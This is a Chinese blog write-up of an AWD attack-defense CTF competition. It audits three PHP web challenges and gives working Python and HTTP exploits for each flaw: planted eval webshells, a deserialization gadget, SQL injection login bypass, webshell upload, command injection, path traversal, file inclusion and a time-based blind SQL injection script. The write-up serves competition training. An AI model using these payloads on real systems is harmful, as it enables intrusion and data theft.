zoukankan      html  css  js  c++  java
  • 跟着表哥学习如何打「AWD比赛」

    在很多大型互联网公司中,安全团队会经常组织攻防模拟演练,目的是以攻促防,提前发现潜在风险,协助提升业务系统安全性和完善安全系统能力,更有效的抵御黑客攻击。

     

    在网络安全的众多比赛中,AWD比赛就是这种攻防兼备的比赛形式。今天分享的文章是 i 春秋论坛的作者flag0原创的文章,他为我们带来的是一次AWD比赛的总结,想要了解AWD比赛的小伙伴,这篇文章不容错过,文章未经许可禁止转载!

    注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

     

    AWD介绍

    AWD(Attack With Defense,攻防兼备)是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时你也要保护自己的主机不被别人得分,以防扣分。

    这种模式非常激烈,赛前准备要非常充分,手上要有充足的防守方案和 EXP 攻击脚本,而且参赛越多,积累的经验就越多,获胜的希望就越大。

    比赛规则

    • 每个团队分配到一个Docker主机,给定Web(Web)/ Pwn(Pwn)用户权限,通过特定的端口和密码进行连接;
    • 每台Docker主机上运行一个网络服务或其他的服务,需要选手保证其可用性,并尝试审计代码,攻击其他队伍;
    • 选手可以通过使用突破获取其他队伍的服务器的权限,读取其他服务器上的标志并提交到平台上;
    • 每次成功攻击可能5分,被攻击者取代5分;
    • 有效攻击五分钟一轮。选手需要保证己方服务的可用性,每次服务不可用,替换10分;
    • 服务检测五分钟一轮;
    • 禁止使用任何形式的DOS攻击,第一次发现扣1000分,第二次发现取消比赛资格。

    Web1

    首先用D盾进行查杀。

     

    预留后门

    pass.php

    <?php
    @eval($_POST['pass']);
    ?>

    很简单直接的一句话后门

    yjh.php

    <?php
    @error_reporting(0);
    session_start();
    if (isset($_GET['pass']))
    {
        $key=substr(md5(uniqid(rand())),16);
        //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
        //这里用于生成session
        $_SESSION['k']=$key;
        print $key;
    }
    else
    {
        $key=$_SESSION['k'];
        $post=file_get_contents("php://input");//读取post内容
        if(!extension_loaded('openssl'))//检查openssl扩展是否已经加载
        {//如果没有openssl
            $t="base64_"."decode";
            $post=$t($post."");//base64_decode
    
            for($i=0;$i<strlen($post);$i++) {
                     $post[$i] = $post[$i]^$key[$i+1&15]; //进行异或加密
                    }
        }
        else
        {
            $post=openssl_decrypt($post, "AES128", $key);//aes加密
        }
        $arr=explode('|',$post);//返回由字符串组成的数组
        $func=$arr[0];
        $params=$arr[1];//获取第二个
    
        class C
        {
            public function __construct($p) // __construct() 允许在实例化一个类之前先执行构造方法
            {
                eval($p."");//直接eval
            }
        }
        home.php?mod=space&uid=162648 C($params);
    }
    ?>

    生成随机密钥值通过密钥值对加密,如果服务器没有openssl扩展,则与密钥值进行异或解密,如果有openssl环境,则使用密钥值进行解密。

    搞清楚了代码逻辑之后,编写利用脚本。

    服务端有openssl扩展的利用脚本

    import requests
    import base64
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    
    def aes_encode(key, text):
        key = key.encode()
        text = text.encode()
        text = pad(text, 16)
        model = AES.MODE_CBC  # 定义模式
        aes = AES.new(key, model, b'')
        enPayload = aes.encrypt(text)  # 加密明文
        enPayload = base64.encodebytes(enPayload)  # 将返回的字节型数据转进行base64编码
        return enPayload
    
    def getBinXie(url):
        req = requests.session()
        url = url+"/yjh.php"
        par = {
            'pass':''
        }
        key = req.get(url,params=par).content
        key = str(key,encoding="utf8")
        payload = '1|system("cat /flag");'
        enPayload = aes_encode(key,payload)
        res = req.post(url,enPayload).text
        return res
    if __name__ == '__main__':
        url = "http://localhost"
        flag = getBinXie(url)
        print(flag)

    因为php中加密方式是AES128,所以可以判断是CBC模式。

    服务端没有openssl扩展的利用脚本

    当没有扩展的时候会执行异或加密

    def xorEncode(key,text):
        textNew = ""
        for i in range(len(text)):
            left = ord(text[i])
            rigth = ord(key[i+1&15])
            textNew += chr(left ^ rigth)
        textNew = base64.b64encode(textNew.encode())
        textNew = str(textNew,encoding="utf8")
        return textNew
    def getBinXieXor(url):
        req = requests.session()
        url = url+"/login/yjh.php"
        par = {
            'pass':''
        }
        key = req.get(url,params=par).content
        key = str(key,encoding="utf8")
        text = "|system('cat /flag');"
        enPayload = xorEncode(key,text)
        res = req.post(url, enPayload).text
        return res

    在Web1中,loginyjh.php与pmainxie2.0.1.php与yjh.php内容是一样的。

    反序列化后门

    sqlhelper.php

    D盾没扫出来的,还有一个反序列化后门。

    if (isset($_POST['un']) && isset($_GET['x'])){
    class A{
        public $name;
        public $male;
    
        function __destruct(){//析构方法,当这个对象用完之后,会自动执行这个函数中的语句
            $a = $this->name;
            $a($this->male);//利用点
        }
    }
    
    unserialize($_POST['un']);
    }

    $a($this->amle)如果$a=eval;$b=system('cat /flag');

    就相当于eval(system("cat /flag"));

    构造payload:

    <?php
    class A{
        public $name;
        public $male;
    
        function __destruct(){//对象的所有引用都被删除或者当对象被显式销毁时执行
            $a = $this->name;
            $a($this->male);//利用点
    }
    $flag = new A();
    $flag -> name = "system";
    $flag -> male = "cat /flag";
    var_dump(serialize($flag));
    ?>

    获得反序列化字符串:

    O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}

     

    封装成攻击函数:

    def getSerialize(url):
        import requests
        url = url + "/sqlhelper.php?x=a"
        payload = {
            "un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
        }
        flag = requests.post(url=url,data=payload).content
        return str(flag,encoding="utf8").strip()

     

    文件上传漏洞

    info.php

    <?php
    include_once "header.php";
    include_once "sqlhelper.php";
    ?>
    <?php
    if (isset($_POST['address'])) {
        $helper = new sqlhelper();
        $address = addslashes($_POST['address']);
        if (isset($_POST['password'])) {
            $password = md5($_POST['password']);
            $sql = "UPDATE  admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
        } else {
            $sql = "UPDATE  admin SET address='$address'  WHERE id=$_SESSION[id]";
        }
        $res = $helper->execute_dml($sql);
        if ($res) {
            echo "<script>alert('更新成功');</script>";
        }
        if (isset($_FILES)) {
            if ($_FILES["file"]["error"] > 0) {
                echo "错误:" . $_FILES["file"]["error"] . "<br>";
            } else {
                $type = $_FILES["file"]["type"];
                if($type=="image/jpeg"){
                    $name =$_FILES["file"]["name"] ;
                    if (file_exists("upload/" . $_FILES["file"]["name"]))
                    {
                        echo "<script>alert('文件已经存在');</script>";
                    }
                    else
                    {
                        move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
                        $helper = new sqlhelper();
                        $sql = "UPDATE  admin SET icon='$name' WHERE id=$_SESSION[id]";
                        $helper->execute_dml($sql);
                    }
                }else{
                    echo "<script>alert('不允许上传的类型');</script>";
                }
            }
        }
    }
    
    ?>

    可以看到文件上传的这里,只验证了cron-type,只要是把其修改为image/jepg就可以上传任意文件到assets/images/avatars/目录下了。

    这里属于后台页面有权限控制,必须登陆后才能访问。

    <?php
    session_start();
    if (!isset($_SESSION['username'])){
        header('Location: /login');
    }

    查看登陆页面login/index.php

    <?php
    if (isset($_POST['username'])){
        include_once "../sqlhelper.php";
        $username=$_POST['username'];
        $password = md5($_POST['password']);
        $sql = "SELECT * FROM admin where name='$username' and password='$password';";
        $help = new sqlhelper();
        $res  = $help->execute_dql($sql);
        echo $sql;
        if ($res->num_rows){
            session_start();
            $row = $res->fetch_assoc();
            $_SESSION['username'] = $username;
            $_SESSION['id'] = $row['id'];
            $_SESSION['icon'] = $row['icon'];
            echo "<script>alert('登录成功');window.location.href='/'</script>";
        }else{
            echo "<script>alert('用户名密码错误')</script>";
        }
    }

    SQL语句输入的部分没有任何过滤,很明显存在SQL注入漏洞,可以万能密码登陆绕过。

    POST /login/index.php HTTP/1.1
    Host: localhost.110.165.119:90
    Content-Length: 33
    Cache-Control: max-age=0
    Origin: http://localhost:90
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://localhost:90/login/index.php
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
    Connection: close
    
    username=admin'%23&password=ccccc

    利用链为login/index.php万能密码登陆-> info.php任意文件上传。

    编写脚本:

    def getUPload(url):
        import requests
        req = requests.session()
        datas = {
            "username":"admin'#",
            "password":""
        }
        login = req.post(url=url+"login/index.php",data=datas)
    
        head = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
        "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
        }
        datas = {
            "address":"123123"
        }
    
        file = {
            ("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
        }
    
        req.post(url+"info.php",headers=head,files=file,data=datas).text
    
        datas = {
            "cmd":"system('cat /flag');",
        }
        flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
        return flag.strip()

    Web2

    同样先用D盾扫一扫

     

    预留后门

    index.php

    <!-- partial -->
    <script src="./script.js"></script>
    <?php @eval($_POST['nono']);?>
    </body>
    </html>

    images pass.php与icon pww.php

    是和Web1类似,这里就不再过多描述。

    命令执行

    connect.php

    D盾报警的是这行$r = exec("ping -c 1 $host");

    查看整段的逻辑:

    <?php
    if ($check == 'net') {
        $r = exec("ping -c 1 $host");
        if ($r) {
            ?>
            <div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
                <span class="badge badge-pill badge-success">Success</span>
                网络通畅
                <button type="button" class="close" data-dismiss="alert" aria-label="Close">
    <span aria-hidden="true">×</span>
                </button>
            </div>
            <?php
        } else {
            ?>
            <div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
                <span class="badge badge-pill badge-danger">Error</span>
                网络异常
                <button type="button" class="close" data-dismiss="alert" aria-label="Close">
    <span aria-hidden="true">×</span>
                </button>
            </div>
            <?php
        }
    }
    echo "";
    ?>

    发现并没有回显,而是根据状态来显示不同的html代码,其中$host变量是可控的,我们看下是怎么赋值的:

    if (isset($_GET['check'])) {
        $check = $_GET['check'];
        $id = intval($_GET['id']);
        $sql = "SELECT host,port from host where id = $id";
        $res = $helper->execute_dql($sql);
        $row = $res->fetch_assoc();
        $host = $row['host'];
        $port = $row['port'];
        if ($check=='web'){
            $location = $host.':'.$port; // Get the URL from the user.
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            $res_web = curl_exec($curl);
            curl_close($curl);
    
        }
    
    }

    可以看到是从数据库查询的结果,接着看是如何插入数据库的:

    if (isset($_POST['host'])) {
        $host = addslashes($_POST['host']);
        $port = intval($_POST['port']);
        if ($host && $port) {
            $sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
            $res = $helper->execute_dml($sql);
            echo "<script>alert('成功加入云主机');</script>";
        } else {
            echo "<script>alert('不可以为空');</script>";
        }
    }

    在传入的时候经过了addslashes转义,但是转义对命令执行来说没有什么作用。

    在connect.php中开头包含了header.php文件。

    <?php
    include "header.php";
    include_once "sqlhelper.php";
    $helper = new sqlhelper();

    而header.php中包含了login_require.php在其中有session的检测。

    <?php
    session_start();
    if (!isset($_SESSION['username'])){
        header('Location: /login');
    }

    在login/index.php中存在的SQL语句没有经过任何过滤,存在SQL注入,可以使用万能密码登陆。

    <?php
    if (isset($_POST['username'])) {
        include_once "../sqlhelper.php";
        $username = $_POST['username'];
        $password = md5($_POST['password']);
        $sql = "SELECT * FROM admin where username='$username' and password='$password'";
        $help = new sqlhelper();
        $res = $help->execute_dql($sql);
        if ($res->num_rows) {
            session_start();
            $row = $res->fetch_assoc();
            $_SESSION['username'] = $username;
            $_SESSION['id'] = $row['id'];
            echo "<script>alert('登录成功');window.location.href='/'</script>";
        } else {
            echo "<script>alert('用户名密码错误')</script>";
        }
    }
    ?>

    构造payload

    构造利用payload

    POST /connect.php?check=net&id=16 HTTP/1.1
    Host: localhost:91
    Content-Length: 60
    Cache-Control: max-age=0
    Origin: http://localhost:91
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://localhost:91/connect.php?check=net&id=16
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
    Connection: close
    
    host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123

    因为没有回显所以将标志写入文件中,我们直接访问即可。

    虽然有session,但是发现不登陆直接访问也可以。

     

    虽然304跳转,但是却仍然执行命令了。

    编写利用模块:

    def getExec(url):
        import requests
        datas = {
            "host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
            "port":9999
        }
    
        requests.post(url+"/connect.php?check=net&id=16",data=datas)#执行命令
        flag = requests.get(url+"1.txt").text
        return flag.strip()

     

    任意文件访问

    img.php

    <?php
    $file = $_GET['img'];
    $img = file_get_contents('images/icon/'.$file);
    //使用图片头输出浏览器
    header("Content-Type: image/jpeg;text/html; charset=utf-8");
    echo $img;
    exit;

    这里可以利用目录穿越,直接读取到flag。

    构造payload:

    /img.php?img=/../../../../../../flag

    编写利用模块:

    def getImg(url):
        import requests
        param = {
            "img":"/../../../../../../flag"
        }
        flag = requests.get(url+"/img.php",params=param).text
        return flag.strip()

    反序列化后门

    sqlhelper.php

    <?php
    
    class A{
        public $name;
        public $male;
    
        function __destruct(){
            $a = $this->name;
            $a($this->male);
        }
    }
    
    unserialize($_POST['un']);
    ?>

    这里的利用和Web1中的利用是一样的,只不过少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']参数,用之前的利用模块即可。

    Web3

    同样这里使用D盾扫一下

     

    只扫到了一个

    命令执行

    export.php

    <?php
    if (isset($_POST['name'])){
        $name = $_POST['name'];
        exec("tar -cf backup/$name images/*.jpg");
        echo "<div class="alert alert-success" role="alert">导出成功,<a href='backup/$name'>点击下载</a></div>";
    }
    ?>

    构造payload:

    name=||cat /flag > /usr/local/apache2/htdocs/1.txt||

    因为这里没有回显所以,也只能导出flag,或者可以利用这个后门写入Webshell。

    编写利用模块:

    def getExec3(url):
        import requests
        datas = {
            "name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
        }
        requests.post(url+"/export.php",data=datas)
        flag = requests.get(url+"/1.txt").text
        return flag.strip()

    文件包含

    index.php

    <?php
    include_once "login_require.php";
    if (isset($_GET['page'])){
        $page = $_GET['page'];
    
    }else{
            $page = 'chart.php';
    }
    ?>
    <!--                            --><?php
                                include_once "$page";
    //                            ?>

    构造payload,直接包含标志文件(这里必须登陆,才可以利用)。

    index.php?page=../../../../flag

     

    看一下login / index.php

    <?php
    if (isset($_POST['username'])) {
        include_once "../sqlhelper.php";
        $username = addslashes($_POST['username']);
        $password = md5($_POST['password']);
        $sql = "SELECT * FROM admin where username='$username' and password='$password'";
        var_dump($sql);
        $help = new sqlhelper();
        $res = $help->execute_dql($sql);
        if ($res->num_rows) {
            session_start();
            $row = $res->fetch_assoc();
            $_SESSION['username'] = $username;
            $_SESSION['id'] = $row['id'];
            echo "<script>alert('登录成功');window.location.href='/'</script>";
        } else {
            echo "<script>alert('用户名密码错误')</script>";
        }
    }
    ?>

    username处被addslashes( )转义了,而且没有编码转换。

    这里只能使用默认的账号密码登陆,查看数据库中密码。

    INSERT INTO `admin` (`id`, `username`, `password`) VALUES
    (1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');

    经在线解密为123456

    我们据此构造利用模块:

    def getInclude(url):
        import requests
        import re
        req = requests.session()
        datas = {
            "username":"admin",
            "password":"123456"
        }
        login = req.post(url=url+"login/index.php",data=datas)
    
        head = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
        "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
        }
        param = {
            "page":"../../../../flag"
        }
    
        rep = req.get(url+"/index.php",params=param,headers=head).text
        keys = re.search("flag{(.+?)}",rep)
        flag = keys.group(1)
        flag = "flag{"+flag+"}"
        return flag

    这样就只有账号密码没有修改的会中招。

    SQL注入

    order.php

    order.php处存在SQL注入漏洞,用延时注入可以注入出来密码,但是效率有点低。

    <?php
    include_once "sqlhelper.php";
    $helper = new sqlhelper();
    if (isset($_POST['name'])) {
        $name = addslashes($_POST['name']);
        $price = intval($_POST['price']);
        if (isset($_FILES)) {
            // 允许上传的图片后缀
            $allowedExts = array("gif", "jpeg", "jpg", "png");
            $temp = explode(".", $_FILES["file"]["name"]);
            $extension = end($temp);     // 获取文件后缀名
            if ((($_FILES["file"]["type"] == "image/gif")
                    || ($_FILES["file"]["type"] == "image/jpeg")
                    || ($_FILES["file"]["type"] == "image/jpg")
                    || ($_FILES["file"]["type"] == "image/pjpeg")
                    || ($_FILES["file"]["type"] == "image/x-png")
                    || ($_FILES["file"]["type"] == "image/png"))
                && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
                && in_array($extension, $allowedExts)) {
                if ($_FILES["file"]["error"] > 0) {
                    echo "错误:" . $_FILES["file"]["error"] . "<br>";
                } else {
                    $filename = $_FILES["file"]["name"];
                    if (file_exists("upload/" . $_FILES["file"]["name"])) {
                        echo "<script>alert('文件已经存在');</script>";
                    } else {
                        move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
                    }
                }
            } else {
                echo "<script>alert('不允许上传的类型$t');</script>";
            }
        }
    
        if ($name && $price) {
            $sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
            $res = $helper->execute_dml($sql);
            if ($res){
                echo "<script>alert('添加成功');</script>";
    
            }
        } else {
            echo "<script>alert('添加失败');</script>";
        }
    }

    这里的insert语句将'$name', '$price','$filename'带入了数据库。

    $name = addslashes($_POST['name']);
    $price = intval($_POST['price']);

    而$ name和$ price经过了处理,只有$ filename参数可以利用了,可以使用延时注入。

    下面附上脚本,可以调用cmd5的接口进行md5解密,但是这个脚本跑下来效率很低。

    #coding=utf8
    import requests
    import time
    
    def getAdminPass(url):
        passwdMd5 = ""
        md5Api = "https://www.cmd5.com/api.ashx?email=邮箱&key=这里换上你的key&hash="
        for i in range(32):
            for c in range(32,127):
                payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
                print(payload)
                file = {
                    ("file", ("{0}".format(payload), "", "image/png"))
                }
                datas = {
                    "name": "1",
                    "price": "2"
                }
                start_time = time.time()
                requests.post(url + "/order.php", data=datas, files=file)
                end_time = time.time()
                if (end_time - start_time) > 3:
                    passwdMd5 += chr(c)
                    print(passwdMd5)
                    break
    
        passwd = requests.get(md5Api+passwdMd5).text.strip()
        errDict = {
            0:"解密失败",
            -1:"无效的用户名密码",
            -2:"余额不足",
            -3:"解密服务器故障",
            -4:"不识别的密文",
            -7:"不支持的类型",
            -8:"api权限被禁止",
            -999:"其它错误"
        }
        if "CMD5-ERROR" in passwd:
            index = passwd.rfind(":")
            errId = passwd[index+1:]
            errStr = errDict.get(int(errId))
            return "[-]Error: "+errStr
        else:
            return passwd.strip()
    
    if __name__ == '__main__':
        url = "http://locahost:92"
        passwd = getAdminPass(url)
        print(passwd)

    总结

    这次比赛是三个Web两个Pwn,一共三个小时的时间,比赛过程中惊叹于师傅们的快速审计与突破利用能力,深深的感觉到了差距。

  • 相关阅读:
    FRAM在智能电子式电表中的应用
    element UI实现动态生成多级表头
    小微信小程序开发相关网站
    响应式开发bootstrap
    媒体查询
    前端导出功能实现的两种方式
    watch监听对象遇坑
    vue中使用v-for时为什么要用到key?为什么不能用index作为key?
    vue中我改变了data中的一个值,但现在视图上没有实时更新,请问我怎么拿到更新后的值?
    python 链接数据库的模块
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/12419117.html
Copyright © 2011-2022 走看看